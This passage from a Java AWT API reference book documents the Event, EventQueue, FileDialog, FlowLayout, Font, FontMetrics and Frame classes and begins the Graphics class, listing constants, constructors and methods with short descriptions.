  public static final int PRINT_SCREEN;   (New)
  public static final int RIGHT;
  public static final int SAVE_FILE;
  public static final int SCROLL_ABSOLUTE;
  public static final int SCROLL_BEGIN;   (New)
  public static final int SCROLL_END;   (New)
  public static final int SCROLL_LINE_DOWN;
  public static final int SCROLL_LINE_UP;
  public static final int SCROLL_LOCK;   (New)
  public static final int SCROLL_PAGE_DOWN;
  public static final int SCROLL_PAGE_UP;
  public static final int SHIFT_MASK;
  public static final int TAB;   (New)
  public static final int UP;
  public static final int WINDOW_DEICONIFY;
  public static final int WINDOW_DESTROY;
  public static final int WINDOW_EXPOSE;
  public static final int WINDOW_ICONIFY;
  public static final int WINDOW_MOVED;

  // Variables
  public Object arg;
  public int clickCount;
  public Event evt;
  public int id;
  public int key;
  public int modifiers;
  public Object target;
  public long when;
  public int x;
  public int y;

  // Constructors
  public Event (Object target, int id, Object arg);
  public Event (Object target, long when, int id, int x, int y,
      int key, int modifiers);
  public Event (Object target, long when, int id, int x, int y,
      int key, int modifiers, Object arg);

  // Instance Methods
  public boolean controlDown();
  public boolean metaDown();
  public boolean shiftDown();
  public String toString();
  public void translate (int x, int y);

  // Protected Instance Methods
  protected String paramString();
}

Constants

ACTION_EVENT

public static final int ACTION_EVENT

ID constant for Action Event.

ALT_MASK

public static final int ALT_MASK

Mask for ALT key.

BACK_SPACE

public static final int BACK_SPACE (New)

ID constant for Backspace.

CAPS_LOCK

public static final int CAPS_LOCK (New)

ID constant for Caps Lock key.

CTRL_MASK

public static final int CTRL_MASK

Mask for Control key.

DELETE

public static final int DELETE (New)

ID constant for Delete.

DOWN

public static final int DOWN

ID constant for the down arrow key.

END

public static final int END

ID constant for End key.

ENTER

public static final int ENTER (New)

ID constant for Enter key.

ESCAPE

public static final int ESCAPE (New)

ID constant for Escape key.

F1

public static final int F1

ID constant for F1 key.

F2

public static final int F2

ID constant for F2 key.

F3

public static final int F3

ID constant for F3 key.

F4

public static final int F4

ID constant for F4 key.

F5

public static final int F5

ID constant for F5 key.

F6

public static final int F6

ID constant for F6 key.

F7

public static final int F7

ID constant for F7 key.

F8

public static final int F8

ID constant for F8 key.

F9

public static final int F9

ID constant for F9 key.

F10

public static final int F10

ID constant for F10 key.

F11

public static final int F11

ID constant for F11 key.

F12

public static final int F12

ID constant for F12 key.

GOT_FOCUS

public static final int GOT_FOCUS

ID constant for getting input focus Event.

HOME

public static final int HOME

ID constant for Home key.

INSERT

public static final int INSERT (New)

ID constant for Insert key.

KEY_ACTION

public static final int KEY_ACTION

ID constant for Special Key Down Event.

KEY_ACTION_RELEASE

public static final int KEY_ACTION_RELEASE

ID constant for Special Key Up Event.

KEY_PRESS

public static final int KEY_PRESS

ID constant for Key Down Event.

KEY_RELEASE

public static final int KEY_RELEASE

ID constant for Key Up Event.

LEFT

public static final int LEFT

ID constant for the left arrow key.

LIST_DESELECT

public static final int LIST_DESELECT

ID constant for List DeSelect Event.

LIST_SELECT

public static final int LIST_SELECT

ID constant for List Select Event.

LOAD_FILE

public static final int LOAD_FILE

ID constant for File Load Event.

LOST_FOCUS

public static final int LOST_FOCUS

ID constant for losing input focus Event.

META_MASK

public static final int META_MASK

Mask for ALT key.

MOUSE_DOWN

public static final int MOUSE_DOWN

ID constant for Mouse Down Event.

MOUSE_DRAG

public static final int MOUSE_DRAG

ID constant for Mouse Drag Event.

MOUSE_ENTER

public static final int MOUSE_ENTER

ID constant for Mouse Enter Event.

MOUSE_EXIT

public static final int MOUSE_EXIT

ID constant for Mouse Exit Event.

MOUSE_MOVE

public static final int MOUSE_MOVE

ID constant for Mouse Move Event.

MOUSE_UP

public static final int MOUSE_UP

ID constant for Mouse Up Event.

NUM_LOCK

public static final int NUM_LOCK (New)

ID constant for Num Lock key.

PAUSE

public static final int PAUSE (New)

ID constant for Pause key.

PGDN

public static final int PGDN

ID constant for PageDown key.

PGUP

public static final int PGUP

ID constant for PageUp key.

PRINT_SCREEN

public static final int PRINT_SCREEN (New)

ID constant for Print Screen key.

RIGHT

public static final int RIGHT

ID constant for the right arrow key.

SAVE_FILE

public static final int SAVE_FILE

ID constant for File Save Event.

SCROLL_ABSOLUTE

public static final int SCROLL_ABSOLUTE

ID constant for Absolute Scroll Event.

SCROLL_BEGIN

public static final int SCROLL_ BEGIN (New)

ID constant for Begin Scroll Event.

SCROLL_END

public static final int SCROLL_ END (New)

ID constant for End Scroll Event.

SCROLL_LINE_DOWN

public static final int SCROLL_LINE_DOWN

ID constant for Line Down Scroll Event.

SCROLL_LINE_UP

public static final int SCROLL_LINE_UP

ID constant for Line Up Scroll Event.

SCROLL_LOCK

public static final int SCROLL_LOCK (New)

Mask for Scroll Lock key.

SCROLL_PAGE_DOWN

public static final int SCROLL_PAGE_DOWN

ID constant for Page Down Scroll Event.

SCROLL_PAGE_UP

public static final int SCROLL_PAGE_UP

ID constant for Page Up Scroll Event.

SHIFT_MASK

public static final int SHIFT_MASK

Mask for SHIFT key.

TAB

public static final int TAB (New)

ID constant for Tab key.

UP

public static final int UP

ID constant for the up arrow key.

WINDOW_DEICONIFY

public static final int WINDOW_DEICONIFY

ID constant for Window DeIconify Event.

WINDOW_DESTROY

public static final int WINDOW_DESTROY

ID constant for Window Destroy Event.

WINDOW_EXPOSE

public static final int WINDOW_EXPOSE

ID constant for Window Expose Event.

WINDOW_ICONIFY

public static final int WINDOW_ICONIFY

ID constant for Window Iconify Event.

WINDOW_MOVED

public static final int WINDOW_MOVED

ID constant for Window Move Event.

Variables

arg

public Object arg

A variable argument that is specific to the event type.

clickCount

public int clickCount

The number of consecutive MOUSE_DOWN events.

evt

public Event evt

A means of passing a linked list of events as one.

id

public int id

The ID constant that identifies the Event type.

key

public int key

Integer value of key pressed, or ID constant identifying a special key.

modifiers

public int modifiers

The state of the shift/alt/control/meta keys, formed by ORing the masks for the appropriate keys.

target

public Object target

The Object that generated the event.

when

public long when

The time the event happened.

x

public int x

The x position at which the event happened.

y

public int y

The y position at which the event happened.

Constructors

Event

public Event (Object target, int id, Object arg)

Parameters

target

The component to which the Event should be delivered

id

The identifier of Event

arg

The Object that is the cause of the event

Description

Constructs an Event object with the given values.

public Event (Object target, long when, int id, int x, int y, int key, int modifiers)

Parameters

target

The component to which the Event should be delivered

when

The time the event happened

id

The identifier of Event

x

The x position at which the event happened

y

The y position at which the event happened

key

Integer value of key pressed, or a constant identifying a special key

modifiers

The state of the shift/alt/control/meta keys

Description

Constructs an Event object with the given values.

public Event (Object target, long when, int id, int x, int y, int key, int modifiers, Object arg)

Parameters

target

The component to which the Event should be delivered

when

The time the event happened

id

The identifier of Event

x

The x position at which the event happened

y

The y position at which the event happened

key

Integer value of key pressed, or a constant identifying a special key

modifiers

The state of the shift/alt/control/meta keys

arg

The Object that is the cause of the event

Description

Constructs an Event object with the given values.

Instance Methods

controlDown

public boolean controlDown()

Returns

true if the control key was down when the event was triggered, false otherwise.

Description

Checks current settings for modifiers of the Event.

metaDown

public boolean metaDown()

Returns

true if the meta key was down when the event was triggered, false otherwise.

Description

Checks current settings for modifiers of the Event.

shiftDown

public boolean shiftDown()

Returns

true if the shift key was down when the event was triggered, false otherwise.

Description

Checks current settings for modifiers of the Event.

toString

public String toString()

Returns

A string representation of the Event object.

Overrides

Object.toString()

translate

public void translate (int x, int y)

Parameters

x

Amount to move Event in horizontal direction.

y

Amount to move Event in vertical direction.

Description

Translates x and y coordinates of Event instance by x and y.

Protected Instance Methods

paramString

protected String paramString()

Returns

String with current settings of Event.

Description

Helper method for toString() to generate string of current settings.

See Also

AWTEvent, Component, Object, String

Previous | Home | Next
Dimension | Book Index | EventQueue (New)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] EventQueue

Previous Chapter 19
java.awt Reference 		Next

EventQueue (New)

Name

EventQueue (New)

[Graphic: Figure from the text]

Description

The EventQueue class is a facility for queuing Java 1.1 AWT events, either for the system or for some other purpose. You rarely need to create your own event queue; for most purposes, you will want to work with the system's event queue, which you acquire using the Toolkit.

Class Definition

public class EventQueue extends Object {
  // Constructor
  public EventQueue();
  // Instance Methods
  public synchronized AWTEvent getNextEvent() throws InterruptedException;
  public synchronized AWTEvent peekEvent();
  public synchronized AWTEvent peekEvent (int id);
  public synchronized void postEvent (AWTEvent theEvent);
}

Constructor

EventQueue

public EventQueue()

Description

Creates an EventQueue for your own use.

Instance Methods

getNextEvent

public synchronized AWTEvent getNextEvent() throws InterruptedException

Throws

InterruptedException

If the thread is interrupted before an event is posted to the queue.

Returns

AWTEvent taken from the event queue.

Description

Removes the next event from the event queue and returns it. If there are no events in the queue, this method will block until another thread posts one.

peekEvent

public synchronized AWTEvent peekEvent()

Returns

Next AWTEvent on the event queue.

Description

Returns a reference to the next event on the queue without removing it from the queue.

public synchronized AWTEvent peekEvent (int id)

Parameters

id

Type of event to find.

Returns

AWTEvent with the given type id; null if no event with the given type is currently in the queue.

Description

Returns an event with the given type if one exists, but doesn't remove the event from the queue.

See Also

AWTEvent, Event

Previous | Home | Next
Event | Book Index | FileDialog
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] FileDialog

Previous Chapter 19
java.awt Reference 		Next

FileDialog

Name

FileDialog

[Graphic: Figure from the text]

Description

The FileDialog class provides file selection capabilities for opening or saving files. Because FileDialog is a subclass of Dialog, a FileDialog is always associated with a Frame and is hidden by default. FileDialogs are always modal (i.e., they always attract all user input). In addition, FileDialogs have a load/save mode; the LOAD mode is for selecting files for an application to load, SAVE is for selecting a filename to save.

Class Definition

public class java.awt.FileDialog
    extends java.awt.Dialog {

  // Constants
  public final static int LOAD;
  public final static int SAVE;

  // Constructors
  public FileDialog (Frame parent);   (New)
  public FileDialog (Frame parent, String title);
  public FileDialog (Frame parent, String title, int mode);

  // Instance Methods
  public void addNotify();
  public String getDirectory();
  public String getFile();
  public FilenameFilter getFilenameFilter();
  public int getMode();
  public synchronized void setDirectory (String directory);
  public synchronized void setFile (String file);
  public synchronized void setFilenameFilter (FilenameFilter filter);
  public void setMode(int mode);   (New)

  // Protected Instance Methods
  protected String paramString();
}

Constants

LOAD

public final static int LOAD

Constant to specify the FileDialog's load mode.

SAVE

public final static int SAVE

Constant to specify the FileDialog's save mode.

Constructors

FileDialog

public FileDialog (Frame parent) (New)

Parameters

parent

Frame that is to act as parent of FileDialog.

Description

Constructs a FileDialog object in LOAD mode.

public FileDialog (Frame parent, String title)

Parameters

parent

Frame that is to act as parent of FileDialog.

title

Title to use for FileDialog.

Description

Constructs a FileDialog object in LOAD mode.

public FileDialog (Frame parent, String title, int mode)

Parameters

parent

Frame that is to act as parent of Dialog.

title

Title to use for FileDialog.

mode

The constant LOAD or SAVE, specifying the dialog's mode.

Description

Constructs a FileDialog object in the given mode.

Instance Methods

addNotify

public void addNotify()

Overrides

Dialog.addNotify()

Description

Creates FileDialog's peer for the native platform.

getDirectory

public String getDirectory()

Returns

The current directory for the FileDialog.

getFile

public String getFile()

Returns

The current file selected by the FileDialog.

getFilenameFilter

public FilenameFilter getFilenameFilter()

Returns

The current filename filter for the FileDialog.

getMode

public int getMode()

Returns

The current mode of the FileDialog.

setDirectory

public synchronized void setDirectory (String directory)

Parameters

directory

Directory to be displayed by the FileDialog.

Description

Changes the directory displayed in the FileDialog.

setFile

public synchronized void setFile (String file)

Parameters

file

Initial file string for FileDialog.

Description

Change the default file selected by the FileDialog.

setFilenameFilter

public synchronized void setFilenameFilter (FilenameFilter filter)

Parameters

filter

Initial filter for FileDialog.

Description

Changes the current filename filter of the FileDialog.

setMode

public void setMode (int mode) (New)

Parameters

mode

The constant LOAD or SAVE, specifying the dialog's mode.

Description

Change the mode of the file dialog.

Protected Instance Methods

paramString

protected String paramString()

Returns

String with current settings of FileDialog.

Overrides

Dialog.paramString()

Description

Helper method for toString() to generate string of current settings.

See Also

Dialog, FilenameFilter, String

Previous | Home | Next
EventQueue (New) | Book Index | FlowLayout
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] FlowLayout

Previous Chapter 19
java.awt Reference 		Next

FlowLayout

Name

FlowLayout

[Graphic: Figure from the text]

Description

The FlowLayout LayoutManager provides the means to lay out components in a row by row fashion. As each row fills up, the components continue on the next row.

Class Definition

public class java.awt.FlowLayout
    extends java.lang.Object
    implements java.awt.LayoutManager, java.io.Serializable {

  // Constants
  public static final int CENTER;
  public static final int LEFT;
  public static final int RIGHT;

  // Constructors
  public FlowLayout();
  public FlowLayout (int alignment);
  public FlowLayout (int alignment, int hgap, int vgap);

  // Instance Methods
  public void addLayoutComponent (String name, Component component);
  public int getAlignment();   (New)
  public int getHgap();   (New)
  public int getVgap();   (New)
  public void layoutContainer (Container target);
  public Dimension minimumLayoutSize (Container target);
  public Dimension preferredLayoutSize (Container target);
  public void removeLayoutComponent (Component component);
  public void setAlignment (int align);   (New)
  public void setHgap (int hgap);   (New)
  public void setVgap (int vgap);   (New)
  public String toString();
}

Constants

CENTER

public static final int CENTER

The default alignment for a FlowLayout object; rows of components are centered within the container.

LEFT

public static final int LEFT

An alignment for a FlowLayout object; rows of components start on the left side of the container.

RIGHT

public static final int RIGHT

An alignment for a FlowLayout object; rows of components start on the right side of the container.

Constructors

FlowLayout

public FlowLayout()

Description

Constructs a FlowLayout object with CENTER alignment.

public FlowLayout (int alignment)

Parameters

alignment

Alignment of components within the container.

Description

Constructs a FlowLayout object with the given alignment.

public FlowLayout (int alignment, int hgap, int vgap)

Parameters

alignment

Alignment of components within container

hgap

Horizontal space between each component in a row

vgap

Vertical space between each row

Description

Constructs a FlowLayout object with the given alignment and the values specified as the gaps between each component in the container managed by this instance of FlowLayout.

Instance Methods

addLayoutComponent

public void addLayoutComponent (String name, Component component)

Parameters

name

Name of component to add.

component

Actual component being added.

Implements

LayoutManager.addLayoutComponent()

Description

Does nothing.

getAlignment

public int getAlignment() (New)

Returns

The alignment constant for this FlowLayout.

getHgap

public int getHgap() (New)

Returns

The horizontal gap between components.

getVgap

public int getVgap() (New)

Returns

The vertical gap between components.

layoutContainer

public void layoutContainer (Container target)

Parameters

target

The container that needs to be redrawn.

Implements

LayoutManager.layoutContainer()

Description

Draws the components contained within the target container.

minimumLayoutSize

public Dimension minimumLayoutSize (Container target)

Parameters

target

The container whose size needs to be calculated.

Returns

Minimum Dimension of container target

Implements

LayoutManager.minimumLayoutSize()

Description

Calculates minimum size of target container.

preferredLayoutSize

public Dimension preferredLayoutSize (Container target)

Parameters

target

The container whose size needs to be calculated.

Returns

Preferred Dimension of container target

Implements

LayoutManager.preferredLayoutSize()

Description

Calculates preferred size of target container.

removeLayoutComponent

public void removeLayoutComponent (Component component)

Parameters

component

Component to stop tracking.

Implements

LayoutManager.removeLayoutComponent()

Description

Does nothing.

setAlignment

public void setAlignment(int align) (New)

Parameters

alignment

Alignment of components within container

Description

Sets the alignment for the FlowLayout.

setHgap

public void setHgap(int hgap) (New)

Parameters

hgap

The horizontal gap value.

Description

Sets the horizontal gap between components.

setVgap

public void setVgap(int vgap) (New)

Parameters

vgap

The vertical gap value.

Description

Sets the vertical gap between components.

toString

public String toString()

Returns

A string representation of the FlowLayout object.

Overrides

Object.toString()

See Also

Component, Container, Dimension, LayoutManager, Object, Serializable, String

Previous | Home | Next
FileDialog | Book Index | Font
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] Font

Previous Chapter 19
java.awt Reference 		Next

Font

Name

Font

[Graphic: Figure from the text]

Description

The Font class represents a specific font to the system.

Class Definition

public class java.awt.Font
    extends java.lang.Object
    implements java.io.Serializable {

  // Constants
  public static final int BOLD;
  public static final int ITALIC;
  public static final int PLAIN;

  // Variables
  protected String name;
  protected int size;
  protected int style;

  // Constructors
  public Font (String name, int style, int size);

  // Class Methods
  public static Font decode (String str);   (New)
  public static Font getFont (String name)
  public static Font getFont (String name, Font defaultFont)

  // Instance Methods
  public boolean equals (Object object);
  public String getFamily();
  public String getName();
  public FontPeer getPeer();   (New)
  public int getSize();
  public int getStyle();
  public int hashCode();
  public boolean isBold();
  public boolean isItalic();
  public boolean isPlain();
  public String toString();
}

Constants

BOLD

public static final int BOLD

Constant for specifying bold fonts.

ITALIC

public static final int ITALIC

Constant for specifying fonts.

PLAIN

public static final int PLAIN

Constant for specifying plain fonts.

Variables

name

protected String name

The font's logical name.

size

protected int size

The font size; allegedly in points, though probably not true typographer's points.

style

protected int style

The font style, e.g., bold or italic or a combination thereof.

Constructors

Font

public Font (String name, int style, int size)

Parameters

name

The name of the desired font.

style

One of the style flags (PLAIN, BOLD, or ITALIC) or a combination.

size

The size of the font to create.

Description

Constructs a Font object with the given characteristics.

Class Methods

decode

public static Font decode (String str) (New)

Parameters

str

The string describing the font.

Returns

Font instance requested, or default if str is invalid.

Description

Gets font specified by str.

getFont

public static Font getFont (String name)

Parameters

name

The name of a system property specifying a font to fetch.

Returns

Font instance for name requested, or null if name is invalid.

Description

Gets font specified by the system property name.

public static Font getFont (String name, Font defaultFont)

Parameters

name

The name of a system property specifying a font to fetch.

defaultFont

Font to return if name not found in properties.

Returns

Font instance of name requested, or defaultFont if name is invalid

Description

Gets font specified by the system property name.

Instance Methods

equals

public boolean equals (Object object)

Parameters

object

The object to compare.

Returns

true if the objects are equivalent fonts (same name, style, and point size), false otherwise.

Overrides

Object.equals(Object)

Description

Compares two different Font instances for equivalence.

getFamily

public String getFamily()

Returns

Retrieves the actual name of the font.

getName

public String getName()

Returns

Retrieves the logical name of the font.

getPeer

public FontPeer getPeer() (New)

Returns

The font's peer.

getSize

public int getSize()

Returns

Retrieves the size parameter from creation

getStyle

public int getStyle()

Returns

Retrieves the style parameter from creation.

hashCode

public int hashCode()

Returns

A hashcode to use when using the Font as a key in a Hashtable.

Overrides

Object.hashCode()

Description

Generates a hashcode for the Font.

isBold

public boolean isBold()

Returns

true if Font style is bold, false otherwise.

isItalic

public boolean isItalic()

Returns

true if Font style is italic, false otherwise.

isPlain

public boolean isPlain()

Returns

true if Font style is neither bold nor italic, false otherwise.

toString

public String toString()

Returns

A string representation of the Font object.

Overrides

Object.toString()

See Also

FontMetrics, Object, Properties, String

Previous | Home | Next
FlowLayout | Book Index | FontMetrics
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] FontMetrics

Previous Chapter 19
java.awt Reference 		Next

FontMetrics

Name

FontMetrics

[Graphic: Figure from the text]

Description

The FontMetrics class provides the means to calculate actual width and height of text if drawn on the screen.

Class Definition

public abstract class java.awt.FontMetrics
    extends java.lang.Object
    implements java.io.Serializable {

  // Variables
  protected Font font;

  // Constructors
  protected FontMetrics (Font font);

  // Instance Methods
  public int bytesWidth (byte data[], int offset, int length);
  public int charsWidth (char data[], int offset, int length);
  public int charWidth (char character);
  public int charWidth (int character);
  public int getAscent();
  public int getDescent();
  public Font getFont();
  public int getHeight();
  public int getLeading();
  public int getMaxAdvance();
  public int getMaxAscent();
  public int getMaxDecent();
  public int getMaxDescent();
  public int[] getWidths();
  public int stringWidth (String string);
  public String toString();
}

Variables

font

protected Font font

The Font object whose metrics are represented by this object.

Constructors

FontMetrics

protected FontMetrics (Font font)

Parameters

font

The Font object whose metrics you want.

Description

Constructs a platform specific FontMetrics object for the given font.

Instance Methods

bytesWidth

public int bytesWidth (byte data[], int offset, int length)

Parameters

data[]

Array of characters to lookup.

offset

Initial character position.

length

Number of characters to lookup.

Returns

Advance width of characters in the array, starting with offset and ending with offset+length, in pixels.

Throws

ArrayIndexOutOfBoundsException

If offset or length is invalid.

charsWidth

public int charsWidth (char data[], int offset, int length)

Parameters

data[]

Array of characters to lookup.

offset

Initial character position.

length

Number of characters to lookup.

Returns

Advance width of characters in the array, starting with offset and ending with offset+length-1, in pixels.

Throws

ArrayIndexOutOfBoundsException

If offset or length is invalid.

charWidth

public int charWidth (char character)

Parameters

character

character to lookup

Returns

Advanced pixel width of character.

public int charWidth (int character)

Parameters

character

int value of character to lookup

Returns

Advanced pixel width of character.

getAscent

public int getAscent()

Returns

Amount of space above the baseline required for the tallest character in the font.

getDescent

public int getDescent()

Returns

Amount of space below the baseline required for the lowest descender (e.g., the tail on "p") in the font.

getFont

public Font getFont()

Returns

The Font whose metrics are represented by this object.

getHeight

public int getHeight()

Returns

The sum of getDescent(), getAscent(), and getLeading(); recommended total space between baselines.

getLeading

public int getLeading()

Returns

Retrieves recommended amount of space between lines of text.

getMaxAdvance

public int getMaxAdvance()

Returns

Retrieves advance pixel width of widest character in the font.

getMaxAscent

public int getMaxAscent()

Returns

Retrieves maximum amount of space above the baseline required for the tallest character within the font's FontMetrics. May differ from getAscent() for characters with diacritical marks.

getMaxDecent

public int getMaxDecent()

Returns

Retrieves the maximum amount of space below the baseline required for the deepest character for the font.

Description

A misspelling of getMaxDescent().

getMaxDescent

public int getMaxDescent()

Returns

Retrieves the maximum amount of space below the baseline required for the deepest character for the font.

getWidths

public int[] getWidths()

Returns

255 element array of character widths.

Description

Retrieves an integer array of the advance widths of the first 255 characters in the FontMetrics' font.

stringWidth

public int stringWidth (String string)

Parameters

string

Character string to lookup.

Returns

Advance pixel width of string.

toString

public String toString()

Returns

A string representation of the FontMetrics object.

Overrides

Object.toString()

See Also

Font, Object, String

Previous | Home | Next
Font | Book Index | Frame
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] Frame

Previous Chapter 19
java.awt Reference 		Next

Frame

Name

Frame

[Graphic: Figure from the text]

Description

The Frame class is a special type of Window that will appear like other high-level programs in your windowing environment. It adds a MenuBar, window title, and window gadgets (like resize, maximize, minimize, window menu) to the basic Window object. Frames are initially invisible; call show() to display them. Frames may also be associated with an Image to be used as an icon. The Frame class includes many constants to represent different cursor styles. All styles aren't necessarily available on any platform. In 1.1, these constants are defined in java.awt.Cursor.

Class Definition

public class java.awt.Frame
    extends java.awt.Window
    implements java.awt.MenuContainer {

  // Constants
  public final static int CROSSHAIR_CURSOR;
  public final static int DEFAULT_CURSOR;
  public final static int E_RESIZE_CURSOR;
  public final static int HAND_CURSOR;
  public final static int MOVE_CURSOR;
  public final static int N_RESIZE_CURSOR;
  public final static int NE_RESIZE_CURSOR;
  public final static int NW_RESIZE_CURSOR;
  public final static int S_RESIZE_CURSOR;
  public final static int SE_RESIZE_CURSOR;
  public final static int SW_RESIZE_CURSOR;
  public final static int TEXT_CURSOR;
  public final static int W_RESIZE_CURSOR;
  public final static int WAIT_CURSOR;

  // Constructors
  public Frame();
  public Frame (String title);

  // Instance Methods
  public void addNotify();
  public synchronized void dispose();
  public int getCursorType();   (Deprecated)
  public Image getIconImage();
  public MenuBar getMenuBar();
  public String getTitle();
  public boolean isResizable();
  public synchronized void remove (MenuComponent component);
  public synchronized void setCursor (int cursorType);   (Deprecated)
  public synchronized void setIconImage (Image image);
  public synchronized void setMenuBar (MenuBar bar);
  public synchronized void setResizable (boolean resizable);
  public synchronized void setTitle (String title);

  // Protected Instance Methods
  protected String paramString();
}

Constants

CROSSHAIR_CURSOR

public final static int CROSSHAIR_CURSOR

Constant representing a cursor that looks like a crosshair.

DEFAULT_CURSOR

public final static int DEFAULT_CURSOR

Constant representing the platform's default cursor.

E_RESIZE_CURSOR

public final static int E_RESIZE_CURSOR

Constant representing the cursor for resizing an object on the left.

HAND_CURSOR

public final static int HAND_CURSOR

Constant representing a cursor that looks like a hand.

MOVE_CURSOR

public final static int MOVE_CURSOR

Constant representing a cursor used to move an object.

N_RESIZE_CURSOR

public final static int N_RESIZE_CURSOR

Constant representing a cursor for resizing an object on the top.

NE_RESIZE_CURSOR

public final static int NE_RESIZE_CURSOR

Constant representing a cursor for resizing an object on the top left corner.

NW_RESIZE_CURSOR

public final static int NW_RESIZE_CURSOR

Constant representing a cursor for resizing an object on the top right corner.

S_RESIZE_CURSOR

public final static int S_RESIZE_CURSOR

Constant representing a cursor for resizing an object on the bottom.

SE_RESIZE_CURSOR

public final static int SE_RESIZE_CURSOR

Constant representing a cursor for resizing an object on the bottom left corner.

SW_RESIZE_CURSOR

public final static int SW_RESIZE_CURSOR

Constant representing a cursor for resizing an object on the bottom right corner.

TEXT_CURSOR

public final static int TEXT_CURSOR

Constant representing a cursor used within text.

W_RESIZE_CURSOR

public final static int W_RESIZE_CURSOR

Constant representing a cursor for resizing an object on the right side.

WAIT_CURSOR

public final static int WAIT_CURSOR

Constant representing a cursor that indicates the program is busy.

Constructors

Frame

public Frame()

Description

Constructs a Frame object, with no title.

public Frame (String title)

Parameters

title

Initial title to use for Frame.

Description

Constructs a Frame object, with the given title.

Instance Methods

addNotify

public void addNotify()

Overrides

Window.addNotify()

Description

Creates Frame's peer and peers of contained components.

dispose

public synchronized void dispose()

Overrides

Window.dispose()

Description

Releases the resources of the Frame.

getCursorType

public int getCursorType() (Deprecated)

Returns

The constant for the current cursor. Replaced by Component.getCursor()

getIconImage

public Image getIconImage()

Returns

The image used as the icon, or null if there is no icon for this frame.

getMenuBar

public MenuBar getMenuBar()

Returns

The Frame's current menu bar, or null if there is no menu bar for this frame.

getTitle

public String getTitle()

Returns

The current title for the Frame, or null if there is no title for this frame.

isResizable

public boolean isResizable()

Returns

true if resizable, false otherwise.

remove

public synchronized void remove (MenuComponent component)

Parameters

component

MenuBar to remove from Frame.

Implements

MenuContainer.remove()

Description

Removes component from Frame if component is the Frame's menu bar.

setCursor

public synchronized void setCursor (int cursorType) (Deprecated)

Parameters

cursorType

One of Frame's cursor constants.

Throws

IllegalArgumentException

If cursorType invalid.

Description

Changes the cursor of the Frame. Replaced by Component.setCursor(Cursor).

setIconImage

public synchronized void setIconImage (Image image)

Parameters

image

New image to use for the Frame's icon.

Description

Changes the icon's image for the Frame.

setMenuBar

public synchronized void setMenuBar (MenuBar bar)

Parameters

bar

New MenuBar to use for the Frame.

Description

Changes the menu bar of the Frame.

setResizable

public synchronized void setResizable (boolean resizable)

Parameters

resizable

true to make the frame resizable, false to prevent resizing.

Description

Changes the resize state of the Frame.

setTitle

public synchronized void setTitle (String title)

Parameters

title

New title to use for the Frame.

Description

Changes the title of the Frame.

Protected Instance Methods

paramString

protected String paramString()

Returns

String with current settings of Frame.

Overrides

Container.paramString()

Description

Helper method for toString() to generate a string of current settings.

See Also

Container, Image, MenuBar, MenuContainer, String, Window

Previous | Home | Next
FontMetrics | Book Index | Graphics
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] Graphics

Previous Chapter 19
java.awt Reference 		Next

Graphics

Name

Graphics

[Graphic: Figure from the text]

Description

The Graphics class is an abstract class that represents an object on which you can draw. The concrete classes that are actually used to represent graphics objects are platform dependent, but because they extend the Graphics class, must implement the methods here.

Class Definition

public abstract class java.awt.Graphics
    extends java.lang.Object {

  // Constructors
  protected Graphics();

  // Instance Methods
  public abstract void clearRect (int x, int y, int width, int height);
  public abstract void clipRect (int x, int y, int width, int height);
  public abstract void copyArea (int x, int y, int width, int height,
      int deltax, int deltay);
  public abstract Graphics create();
  public Graphics create (int x, int y, int width, int height);
  public abstract void dispose();
  public void draw3DRect (int x, int y, int width, int height,
      boolean raised);
  public abstract void drawArc (int x, int y, int width, int height,
      int startAngle, int arcAngle);
  public void drawBytes (byte text[], int offset, int length,
      int x, int y);
  public void drawChars (char text[], int offset, int length,
      int x, int y);
  public abstract boolean drawImage (Image image, int x, int y,
      ImageObserver observer);
  public abstract boolean drawImage (Image image, int x, int y,
      int width, int height, ImageObserver observer);
  public abstract boolean drawImage (Image image, int x, int y,
      Color backgroundColor, ImageObserver observer);
  public abstract boolean drawImage (Image image, int x, int y,
      int width, int height, Color backgroundColor, ImageObserver observer);
  public abstract boolean drawImage(Image img, int dx1, int dy1,
      int dx2, int dy2, int sx1, int sy1, int sx2, int sy2, ImageObserver
      observer);   (New)
  public abstract boolean drawImage(Image img, int dx1, int dy1,
      int dx2, int dy2, int sx1, int sy1, int sx2, int sy2, Color bgcolor,
      ImageObserver observer);   (New)
  public abstract void drawLine (int x1, int y1, int x2, int y2);
  public abstract void drawOval (int x, int y, int width, int height);
  public abstract void drawPolygon (int xPoints[], int yPoints[],
      int numPoints);
  public void drawPolygon (Polygon p);
  public abstract void drawPolyline(int[ ] xPoints, int[ ] yPoints,
      int nPoints);   (New)
  public void drawRect (int x, int y, int width, int height);
  public abstract void drawRoundRect (int x, int y, int width,
      int height, int arcWidth, int arcHeight);
  public abstract void drawString (String text, int x, int y);
  public void fill3DRect (int x, int y, int width, int height,
      boolean raised);
  public abstract void fillArc (int x, int y, int width, int height,
      int startAngle, int arcAngle);
  public abstract void fillOval (int x, int y, int width, int height);
  public abstract void fillPolygon (int xPoints[], int yPoints[],
      int numPoints);
  public void fillPolygon (Polygon p);
  public abstract void fillRect (int x, int y, int width, int height);
  public abstract void fillRoundRect (int x, int y, int width,
      int height, int arcWidth, int arcHeight);
  public void finalize();
  public abstract Shape getClip();   (New)
  public abstract Rectangle getClipBounds();   (New)
  public abstract Rectangle getClipRect();
  public abstract Color getColor();
  public abstract Font getFont();
  public FontMetrics getFontMetrics();
  public abstract FontMetrics getFontMetrics (Font font);
  public abstract void setClip (int x, int y, int width, int height);   (New)
  public abstract void setClip (Shape clip);   (New)
  public abstract void setColor (Color color);
  public abstract void setFont (Font font);
  public abstract void setPaintMode();
  public abstract void setXORMode (Color xorColor);
  public String toString();
  public abstract void translate (int x, int y);
}

Constructors

Graphics

protected Graphics()

Description

Called by constructors of platform specific subclasses.

Instance Methods

clearRect

public abstract void clearRect (int x, int y, int width, int height)

Parameters

x

x coordinate of origin of area to clear.

y

y coordinate of origin of area to clear.

width

size in horizontal direction to clear.

height

size in vertical direction to clear.

Description

Resets a rectangular area to the background color.

clipRect

public abstract void clipRect (int x, int y, int width, int height)

Parameters

x

